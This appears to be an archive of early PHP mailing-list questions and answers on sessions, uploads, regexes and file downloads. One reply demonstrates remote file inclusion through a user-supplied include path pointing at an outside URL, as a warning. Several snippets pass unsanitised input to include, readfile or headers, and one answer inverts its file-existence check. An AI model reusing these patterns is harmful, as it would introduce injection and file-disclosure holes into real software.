----------------------------------------------------------------------

I'm not exactly sure what is causing the behavior, but I suspect its either
a timing or memory issue.  My development machine is stronger than the
server the code is being deployed on which is what leads to me to suspect
one of the above problems.

I have a function that creates a very large html table from several sql
calls.  It returns the table as a string to the calling page, which then
displays it.  This table currently has a max size of about 45Kb with larger
html tables possible.  On my production machine everything went fine.  On
the server the table ends early.  But the loops runs to the end, apparently
it stops concatenating at some point.

To get around this I tried splitting the single string into an array of
strings with each cell in the array holding one row of the table, with two
additional rows holding the table/heading tags and close table tags.  Once
again everything works on the development machine.  On the server however,
in two locations the table rows are corrupted.  In one case it ends the row
early (an echo of the value before it is assigned to the array is correct).
In the other case it concatenates two rows, which is similarly not supported
by my debug echo's.  Neither case is a boundary case, occurring in the later
half of the table.

Can anyone offer any advice?

Eric

Be very careful with this construct.  It is generally a bad idea to do any
sort of file opening/loading where the file name comes directly from user
input.

If you were naive enough to use this line:

include("$page.txt");

I could call your php script with ?page=http://mysite.com/dumpyourdatabase

PHP would then load and execute something like this:

http://mysite.com/dumpyourdatabase.txt

An entry could be added to the MySQL.User table from the code in this script
allowing remote access or many other things.

If you decide you really want something like this, it would be a great idea
to run a regular expression on $page and erase any non-letter characters.

Also, as a general reminder, make sure your database permissions are set up
properly for the MySQL user your database is running under (generally they
should not have access to the MySQL table, and only be allowed to
insert/select/update to the database the website works with).

Just put the following instead of a long switch and keep your file naming
conventions consistent

include("side_$page.txt");

Hi,
I'm trying to use readfile to send a file to the browser. The code I'm using
is:

header("Content-length: $size");
header("Content-type: $type");
header("Content-disposition: attachment;filename=$filename");
readfile($filename);

It works fine for very small files, but for larger files it seems to send
only the first 600 bytes and then hang... I tried with both IE and Netscape
and
have the same problem.

I'm using Apache 1.3.14 and PHP/4.0.4pl1 on Win2000 (using the PHP module
for Apache)

Any hints appreciated. Thanks!

I am trying to build a dynamic form, and I am using the code below to let
the user ,name the fields that are generated,but i want to give the user the
option of changing the field size but I cant get it to work.

TIA
george

for ($i=0; $i < $fields; $i++)
{ $fieldName = "field$i";

    echo "<tr><td><input type=text name=\"$fieldName\"
    value=\"${$fieldName}\">\n";

}

    echo "<input type=hidden name=\"fields\"
    value=\"$fields\">\n</td></tr>";

Do you mean you want them to be able to say how long a text field should be?
If so, try this:

for ($i=0; $i < $fields; $i++)
{ 
        $fieldName = "field$i";

        echo "<tr><td><input type=text name=\"$fieldName\"
        value=\"${$fieldName}\" size=\"$size\">\n";
}

$size would be a form parameter that you allow the user to set along with
the field name and value.

Hi,

I'm currently using a perl/CGI developed e-commerce/website management
tool which incorporates sessions (the ability to shop anywhere in the
site, not just in a shop), members, member management, rewards points,
mailing lists, statistics, and a complete separation of code and layout
(so that the same code can be reconfigured for a new client with maybe
only a day or hour of work).

It uses DB Files instead of a database.  It also uses a windows GUI,
which I want to replace with a web GUI for adding and deleting products,
making categories, etc etc, maybe tied in with an excell spreadsheet or
a windows based dbase.


The problem is, I didn't write the code, i'm only buying a license to
use it on each site, which is eating a bit chunk of my profit away.  On
top of that, the developer is looking at selling the code to someone
else soon, which will make it harder, if not impossible to get the code.
 So, before that happens, i'm looking into other options, including
writing new code, or extending pre-existing code.


So far I've been looking at pre-existing apps and code snippets
available at zend.com, but I'm hoping that some developers out there
either have an app, or have used/extended an app to suit their needs,
which they may be able to recommend.

Yes, I'm prepared to pay for decent code, it doesn't have to be free,
but I would have to spend a long time evaluating it before buying it.


At this stage (unless people advise me otherwise), I plan to use
FreeBSD, PHP4 and MySQL as the platform.


I'm not realy interested in anything that relies on javascript, java or
cookies to run (i'd preffer sessions and server-side calculations), and
i'd prefer something that is website based, not shop based (sessions can
be used site wide, etc etc).


Yeah yeah, I know I'm asking a lot :)


Has anyone got any recommendations, or maybe anyone in Australia want to
start developing one with me?

hi, i think what you're looking for is something like phpshop
you may find it in www.edikon.org, and it's free.

Hi,
  As you might gather from the subject, i'm trying to
make a decision.  Before that i'm doing research
to find out what best fits.  My question is;

>From what i've read php4 does post-compilation caching,
is this right?  If so, what is the point of Zend Cache or
APC (Alternative PHP Cache)?  I know from experience that
mod_perl does copy and run from a compiled version of the
script into memory.  From the description of Zend Cache and
APC they sound like the equivalent for php4.  I guess what i'm
getting at is is php4 as fast as mod_perl or do i need something
like zend cache?  also, is there anywhere with stated benchmarks
that i can see to compare?


Thanks,
joe

About a year ago Rasmus gave instructions on how to add support to a php binary 
without recompiling using apxs.  It was something like configure, make and copy files 
to somewhere or something like that.  He also said it was documented in the manual but 
I have not been able to find any instructions.  So does anyone have some instructions 
on how this is done.  I would appreciate any input.

Thanks,
Brett

Is it in-efficient to use shuffle()?  I have a simple 6 element array with 6
strings (URLs to images) and I'm using shuffle() to display all of them in
random order upon each page load.  The images take a long time (of course is
relative, it's mere seconds) but when I remove the call to shuffle, they
appear much much faster...

Also, is there an efficient number or limit of queries one should call in a
singular PHP page?  On average, I'll make 7-10 seperate queries to display a
page (a graphics related portal and content management system)...  I have a
singular database connection (with mysql_pconnect()) and use that same
connection throughout the script.  Sometimes it appears to load quickly,
than other times it doesn't, and I'm afraid that as more and more content
get put into the databases, the slower it will perform.

simplest answer is find out yourself. every machine will depending on config and 
hardware will be difffernet.


<?php

 function mtime()
 {
  $mtime = microtime();
  $mtime = str_replace('.', '', $mtime);
  $mtime = explode(' ', $mtime);
  $mtime = $mtime[1] . $mtime[0];

  return($mtime);
 }

  class debug
  {

  function debug()
  {
   $this->start = mtime();
  }

  function reset()
  {
   $all_vars = get_object_vars($this);
   foreach($all_vars as $pos => $val)
    if ($pos != 'error')
     unset($this->$pos);
  }

  function time($text = '')
  {
   $this->break = mtime();
   $time = ($this->break - $this->start) / 1000000000;
   echo number_format($time, 4) .' '. $text ."<br>\n";
   $this->start = $this->break;
  }
  }

  $debug = new debug;

  //-------------------------------------------------------------------

  $debug->time('start');

 // code snippit

  $debug->time('end');

?>

works great or me. you can find out exactly where your code is slowing you down, only 
thing is now to find out how to improve that :)

I am trying to build a dynamic form, and I am using the code below to let
the user ,name the fields that are generated,but i want to give the user the
option of changing individual field sizes but I cant get it to work.

TIA
george

for ($i=0; $i < $fields; $i++)
{ $fieldName = "field$i";

    echo "<tr><td><input type=text name=\"$fieldName\"

}

    echo "<input type=hidden name=\"fields\"
    value=\"$fields\">\n</td></tr>";

George you are doing this backwards.  Someone posted the code to do this
the right way last night.  I would use the concatination of a third variable.

         $field = "blah";
         $loops = 10;
for ($i=0; $i < $loops; $i++)
{
         $displayField = $field . $i;
         echo "<tr><td><input type=text name=\"$field\"
         value=\"$displayField\">\n";
}

Ladies/Gents:

I recently fixed a long standing bug in get_meta_tags and have been asked by
users to fix some other issues as well.  I am curious to know how many of
you are actually using this function and in what way.  Currently,
get_meta_tags returns an associative array, like this:

$resultval["keywords"]  = "these,are,my,keywords"
$resultvar["something"] = "something else"

My changes would result in change to the return value so that instead of
returning a single dimensional array, you would get a multidimensional array
as follows:

$returnval[0]["http-equiv"] == "refresh"
$returnval[0]["content"]    == "10;http://www.php.net/"

$returnval[1]["name"]       == "keywords"
$returnval[1]["content"]    == "hello"
$returnval[1]["lang"]       == "en"

$returnval[2]["name"]       == "keywords"
$returnval[2]["content"]    == "hola"
$returnval[3]["lang"]       == "es"

Where each index (0, 1, 2) refer to the 1st, 2nd and 3rd META tags on the
page.

All and all, my new implementation will support all of the attributes for
META tags, including HTTP-EQUIV, NAME, CONTENT, LANG, and DIR.

If I could get a general feel for how many PHP users out there are using
this function, it would save me some time in the long run.

Thanks,

What I mean is, if a user is connected to a php page that uses sessions and
that is involved in a time consuming operation (say 20 seconds or more)
before returning an answer, and the user also opens a second window in the
same browser to connect to another page in the same site that uses sessions
the second window  will hang till the first operation is complete.

While testing, I was able to show that if I don't use sessions this doesn't
happen.

I need to use sessions and would like to allow users to have multiple
windows connected to my site (it is an intranet application).

Apache 1.3.12 with PHP 4.0RC2  (it's just a test site at the moment)

    ^     ICQ#   13394035

I have a working regex as below, used for validating data input:

$Status = (ereg("^(^[A-Za-z0-9` !@#$%&()=:;\"\'.?/^|{}-]*)(.*)$", $String,
$List));

It is definitely working as expected.

I need to add the square brackets [ ] to the above list of allowed
characters. However, this does not work. The regex does not produce an error
message, but instead accepts all characters as valid.

I have tried escaping them, ie:
    \[\]

I have tried encoding them as HEX, ie:
    \x5b\x5d

However, the same problem occurs in both circumstances.

Can anyone please help me?

According to the manual <http://php.net/manual/en/ref.regex.php>,

"These functions all take a regular expression string as their first 
argument. PHP uses the POSIX extended regular expressions as defined by 
POSIX 1003.2. For a full description of POSIX regular expressions see the 
regex man pages included in the regex directory in the PHP distribution. 
It's in manpage format, so you'll want to do something along the lines of 
man /usr/local/src/regex/regex.7 in order to read it. "

If you do not have access to manpages at the commandline, note that they 
are also widely republished on the web.  A quick search on 
<http://www.google.com/search?q=posix+1003%2E2+regular+expressions> reveals:

"A bracket expression is a list of characters enclosed in `[ ]'. It 
normally matches any single character from the list (but see below). If the 
list begins with `^', it matches any single character (but see below) not 
from the rest of the list."
<snip>

"To include a literal `]' in the list, make it the first character 
(following a possible `^')."

Hi,

   I have problems with Post File Uploads... When trying to upload very
small files it works, although my browser timeouts or I get a 
Server Hangup
Description: Server Hangup
message

Is it Apache that times out?

I am wondering what is causing this and what can be done..

Thank you,

Cedric Veilleux

Lately I have been working on a script and my plan is to have the URL
pass an initial variable to the script.  So for example,  the URL would
be http://WhereEverServer.com?questionFileName=testQA.  This variable
called questionFileName is the name of a file (without the extension)
that the script will use to pull a series of questions from.

What I would like to have the script do is to check if a variable was
passed, and to check if the file name passed actually exist.  If either
case is false then I would like to have it check if the file testQA
exist and if so then the script would run using this test file, if not
then the script would just terminate giving the user an error message.
I was wondering how you would do this?

Right now I have it semi-working, but it is very convoluted and if the
variable is not passed it displays a "Warning: Undefined variable:
questionFileName in
c:\server\apache\htdocs\survey\questionanswer.phtml".    Ideally it
would not display this message and just check if the testQA file is
around and if not then just terminate with an error message of my
choice.

-Thanks for any ideas,
    Andrew V. Romero
        To reply personally, remove all numbers from my address.

Try this:

if (file_exists("filename")) { echo "Error"; }

Hello!

Do you know Links 2.0 by Gossamer-Threads ?

Well, this perl script uses a template engine(annexed file) based in a
modification of CGI::FastTemplate that give a useful flexibility for
webdesigners. The facilities are that webdesigners can use logical functions
in his tags on templates (actually if, if not, >, <, = =, != ) eg:

{IF IMAGE}
  <p>
  <img src="{IMAGE}">
  <br>
  <br>
{ENDIF}

Thus all code between the if statement will be printed if $image is set else
nothing will be.


This is very useful when you have a list of elements that someone have some
elements and others not, eg:

1) The template without this enhancement:

<p>
<img src="{IMAGE}"><br><br>
{NAME}<br>
{EMAIL}

Thus if the current user doesn't have a image the <p>, <img> and <br><br>
tags will be printed in any way.


2) The template with  the enhancement:

{IF IMAGE}
<p>
<img src="{IMAGE}">
<br>
<br>
{ENDIF}
{NAME}<br>
{EMAIL}

Thus if the current user doesn't have a image the <p>, <img> and <br><br>
tags will not be printed in any way, maintaining the desired design. THIS IS
GREAT !!!


Note)

Also, would be excellent if we have the following options on tags:

1) include a file not parsed (straight include of HTML) (allows php code)
2) include a file parsed (parse the include file for tags) (allows php code)


Is possible to convert the Template.pm (see annexed file) by Gossamer
to php class ???

Kindest Regards,

[EMAIL PROTECTED]

BTW(a), I tried dozen based FastTemplates engines but anyone
have the functions of Template.pm.

 BTW(b):
1) Can you understand me ???  (sorry for my poor english.)
2) If have any cost, please tell me.
3) Please answer me, I really need it.

Hola - your English is mucho better than my Spanish (or is it Portguese in
Brazil?)  sorry!

I assume you're looking for PHP code equivalents for this, correct?

Is there any reason you can't just put the code in your template?

<? if ($image) { ?>
  <p>
  <img src="<?=$image;?>">
  <br>
  <br>
<? } else { ?>
<?=$name;?>
<? } ?>

That would do it just as well.  Admittedly, there's more < > and ? than you
might like,
but it's as functional (if not more so) and it's one less thing for your script
to process
at the end of the day.

It probably is, if anyone wants to take a stab, but we generally just use the
method
I described above.

IF:
$2D[] = array ( 'name'=>"Jacky", 'year'=>"2001", 'tel'=>"982736",
'gender'=>"Male" );
$2D[] = array ( 'name'=>"Jessica", 'year'=>"1999", 'tel'=>"349291",
'gender'=>"Felmale" );

How can I sort the array by 'name' or 'year', or other key efficiently?

How to create some thumbnail, from orginally a GIF image, to a GIF
thumbnail.
I dun't the libgd 1.6 or before.
Or can we just use libgd1.8 , open a GIF image, and create a thumbnail with
PNG format?

Try using ImageMagick on the command line via System() or Exec() or
whatever.

Hi people
I have exchange link business program with other sites, basically I give a hyper link 
to come to our store to them and when user click on the link on their site to come to 
us, they will genrate income from it too. 
The question is that how do I know that when a user click on the link to come to my 
site that a user come from the link from their site , or from their IP or something. 
So that I can tell where a user come from. 
Is this something to do with http header?

Hi,
you can that a look at the REFERER header... but some browsers don't 
include it and is very easy to modify...

If it isn't a problem for you, add the site id to the link:
http://my.site.com/exchange?site=friend

...this tell's you the ID, but someone can enter it directly in the 
browser, too :)

Search this months archive for REFERER and you'll find some solutions, 
but none is bullet proof, IMHO.

Good luck :)

A couple ways are :

1. Setup an affiliate link for them to use :

   http://www.you.com/foo.php?affiliate=them

They'd stick that link on their site.  Variable $affiliate will tell you
the hit came from their (them) site.  You log this information and analyze
and fight over the validity of it with them.  No doubt they'll also track
outgoing hits so they may do something like :

   go.php?url=http://www.you.com/foo.php?affiliate=them

But I digress.

2. Use HTTP_REFERER and watch your server logs.  See above.

3. Use a third party such as linkshare or befree or something similar to
track such information for you.  Although don't think you're at this point
yet :-)

The variable your subject is requesting is : HTTP_REFERER.  Search google
for this variable and much information will come about.  It'll *usually*
give you the exact referring url.

You can look at $HTTP_REFERER, but its not reliable. Better to
tell them to use linking code that specifically has a parameter
in it that your receiving PHP script can pick up.

Instead of http://www.yoursite.com/ give them that with ?linkid=X
so you could track clickthroughs.

I seem to be having a lot of trouble uploading a file using the post
method.

I've read through a good amount of code and tutorials and can't seem to
find anything wrong with my code. We're running this in the latest PHP 3
version on two different servers (one NT and the other OpenBSD). Now, it
works if we are using the page from the actual NT server, but not from
any other computers on he LAN. We haven't been able to get it to work at
all on the OpenBSD server, though we can't test it drectly from that
computer.

ok, here is the code I'm using for the form to upload the file:

<FORM ENCTYPE="multipart/form-data" ACTION="index.php3" METHOD=POST>
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="1000000">
<input type="hidden" name="SCREEN" value="uploadimage">
<input type="hidden" name="faction" value="createimages">

<?php

print("<input type=\"hidden\" name=\"item\" value=\"" . $item .
"\">\n");
print("<input type=\"hidden\" name=\"department\" value=\"" .
$department . "\">\n");

?>

Send this file: <INPUT NAME="userfile" TYPE="file">
<INPUT TYPE="submit" VALUE="Send File">
</FORM>

and I open the file, but get an error because there is nothing in the
file -- code below:

$file1 = @fopen($userfile,"r");
if (!$file1) {
   print("I'm sorry, but we cannot open the file that you have
uploaded.");
}

We also checked the permissions multiple times and the server's error
log, but nothing... so, if anyone sees anythign wrong, please let me
know. . thanks

-Daniel Lynn

have you checked the permissions on the temp directory on your server? make
sure that the directory has appropriate permissions

for locating the temp directory in which php is uploading the files, use

<?php
phpinfo();
?>

amd look for upload_tmp_dir setting.

hope that helps

The mysql list would be a good place for mysql problems, no? But you a) 
may not have access to the c compiler or b) may not have permission to 
create files in the particular directory or....

I'm (currently) using PHP3.0.15 and finding that the variable $REMOTE_USER
gets reset to null on subsequent pages inside the secured area... so I've
been assigning it to another variable and then passing this through form
posts to subsequent pages...  I'm guessing this getenv("REMOTE_USER") will
also clear ... am I correct?

Of course, I may need to rethink everything as I found a snag tonight... If
I try to post a form back to my /index.php page (the one which originally
triggered the authentication) the webserver throws up an Authentication
Required error on me... because the browser (IE 5.01) has forgotten what
it's said previously.

(I think I'm going to have to use the index.php page as an intermediate
page, and put the menu structures that I want to return to on a different
page)

Have I hit on a bug, or is this happening by design???

Possibly because the function is called ereg_replace() <g>...  

But since you're not doing any special pattern matching, you might as well 
use a simple str_replace(',','','1,234.56') instead.

Hello,

How do I get the number of the next month (Ex: 4).  And when the current
month reaches 12, the next month would be 1 and the next year would be 2002.
Anybody know how I can accomplish this?

Thanks,
Tyler Longren

Hi Tyler - did you check the date functions in the manual?

date() with the 'n' format let's you grab the month's ordinal from a unix
timestamp, and mktime() let's you easily create unix timestamps

$next_mon = date("n", mktime(0,0,0,date("m")+1));

Sorry bout the length .... I'm a newbie to PHP/MySQL so bare with me ...
Here's a snippet of an app I'm hacking. I have a form that should update a 
client form. the cl_XXXX are taken from a database table and works nicely. 
The point of this that they should possibly be replaced by txtXXX and put 
back in the table.

As far as I can tell this _should_ work but it doesn't. I suspect that 
cmdFinish is never set if (isset($cmdFinish)) isn't true ....

Any suggestions?

Hi,

Well there are many ways to run a process in the
background, my favorite way is detaching the process
or the program or process from within, so if it's a c
program pretty easy, but incase you dont have the
source, then you can use this:

exec("mp3123 -y -Z --all 1>/dev/null/ 2>&1 &");

well that simply puts the stdout and stderr in the
same file /dev/null, and puts it into the background.

better add "nohup" to that:
exec("nohup mp3123 -y -Z --all 1>/dev/null/ 2>&1 &");

What luck for the rulers that men do not think.

Thanks for the suggestion, I tried that and it still doesn't seem to be
working.
Here's what i've got so far on my page (index.php).

<?PHP
if(session_is_registered("CUserName"))
        {
        session_destroy();
        unset($CUserName);
        header("Location: $PHP_SELF");
        }
else
        {
        session_register("CUserName");
        $CUserNameSession="CUserName";
        }
//SNIP
?>

Hope you can see something I don't. Thanks,
Mike

try
session_start();
before the if statement - otherwise it will always be FALSE...btw the
'unset()' is redundant i think.

I'm running the following to kill a session, and haven't had any problems 
with it yet...
<?
session_start();
session_unset();
session_destroy();
echo "Session gone.";
etc...

Hello.

I am working on a site using PHP (obviously) and PostgreSQL. I am 
currently using the oid as a key on a table. I would like to return the 
user to the same record after INSERTing it, but I cannot figure out how 
to get the oid of the record after doing an INSERT. Ideally, I would 
like something like:

So, how do I insert a new record into the database, and get the oid of 
the record I just inserted?

thanks

Hi all,

I'm in the process of my first installation of PHP and running into a
problem.  Any experts, feel free to chime in with your knowledge.

After I unzip it, I run the configure script.  Here's the command line I
use and the error I get:

./configure --with-mysql=/var/lib/mysql --with-apxs
... lots of output ...
Checking for MySQL support: yes
configure: error: Cannot find header files under /var/lib/mysql

I've tried lots of different directories, none of which seem to work.
Which header files is it looking for?

BTW, I'm attempting to install php 4.0.4 pl1, as an apache module (rather
than statically linked with apache).  I've already installed MySQL 3.22 and
it appears to have been successfully installed.

Any help much appreciated.

IANARH expert but: it'll be looking for /var/lib/mysql/include/*.h and I 
belive that if you have installed mysql from an rpm that you don't get 
that stuff by default - there is another RPM with mysql source and 
library stuff in it.

If you don't need any other mysql related stuff you could try using the 
php builtin mysql support by using just --with-mysql and not specifying a 
path.

To assign session variables you need to reference them by name:
$username = "new_user";

the syntax for  session_register is : 
session_register("session_names",var_without_quote)

and I think you doesnt need this line ,
it's done automaticlly by PHP

You need this line !

As far as I know, the session fucntions work only with php4

for php3, you might want to take a look at phplib

hope that helps

Apache 2.0 seem to be now supported by PHP4.04pl1.
I tried PHP4.0.4pl1 & Apache 2.0a8 (configure don't seem to work for me with
2.0a9)

But..... I did not succeded to make it working !
Do someone have a tips on some compiling flags working, or other versions ?
Mine made apache to show a segmentation fault (in PHP ?), and show a message
that comes from
'create_php_config' function:
'Creating new config (0x80f0c54) for (null).'

Or is it just a config problem ? I have a php.ini in /usr/local/lib, but it
makes the same error if I remove it !


I am interesed with it because it will provide multithreading instead of
multiprocess,... which I prefer for writing PHP modules that can handle
persitent and reusable data (to keep the same connection within a HTTP
session).

(
Apache was compiled with: configure --enable-shared --enable-so
PHP was compiled with: configure --with-apxs2
)

Hi,

I have a simple text file search. I do not want users to search on words 
such as 'is', 'and', 'or','the',etc. or single letters or numbers.  Has 
anyone got a 
dictionary with all of these in so I could do a search through it before 
starting the main search?

Thanks,

Ajdin

PHP 4.0.2 on Win32
or PHP 3 on Win32
extension=php_ldap.dll   is on in the php.ini file

I get 'Unable to load php_ldap.dll' (PHP4) when I call a php file ?
I get 'Call to an unsupported function ldap_connect()' (PHP3)  ?

Help please ?

I have been having problems using the PHP 4 ISAPI module with IIS 4 on NT4 (The most 
common problem is HTTP 500 internal server error which disappears if page is 
refreshed). This is apparently not too surprising given the current status of the 
ISAPI module. So I have switched to using CGI, which seems absolutely fine, but is 
noticeably slower.

I was wondering if it is worth trying the Apache module. Will it be more reliable? And 
are there any notable gotchas to watch out for in installing this combination?

Hi!
I'm trying to make some mpegs available only to people who authenticated
themselves using php. But all the solutions I found somewhat unpleasant
because I uses chmod to set the file attributes to u=rw and then
used either
i) readfile("ftp://name:password@server/path//test.mpeg");

or

ii) header ("Location: ftp://name:password@server/path/test.mpeg");

But in case
i) the browser asks if I want to download the file or view it. If I choose
view the browser suggests to save the movie as myscript.php and if I choose
view it ´doesn't display anything.

ii.) the browser displayes my username and password in the statusbar

And in both cases it downloads the whole file(I guess cause I use ftp)
before starting the mpeg programm(where nothing happens afterwards in case
i)

Is there a better way? ´Like telling the server via http my login data and
sending the file to the users browser?

Thanks
Thorsten

Hey,

Well sure there is:

$fp = fopen($filename, 'r') or die('damn');
$read = fread($fp, filesize($filename)) or
die('damn');
$filestr = basename($filename);

header("Content-Disposition: attachment;
filename=$filestr");
header("Content-Type: application/octet-stream");

echo $read;
exit;

Neat And Clean!

Your authentication can be done above that piece of
code, you then open the file, read it through send the
filename download as $filestr, and the contents 
$read.

Simple!
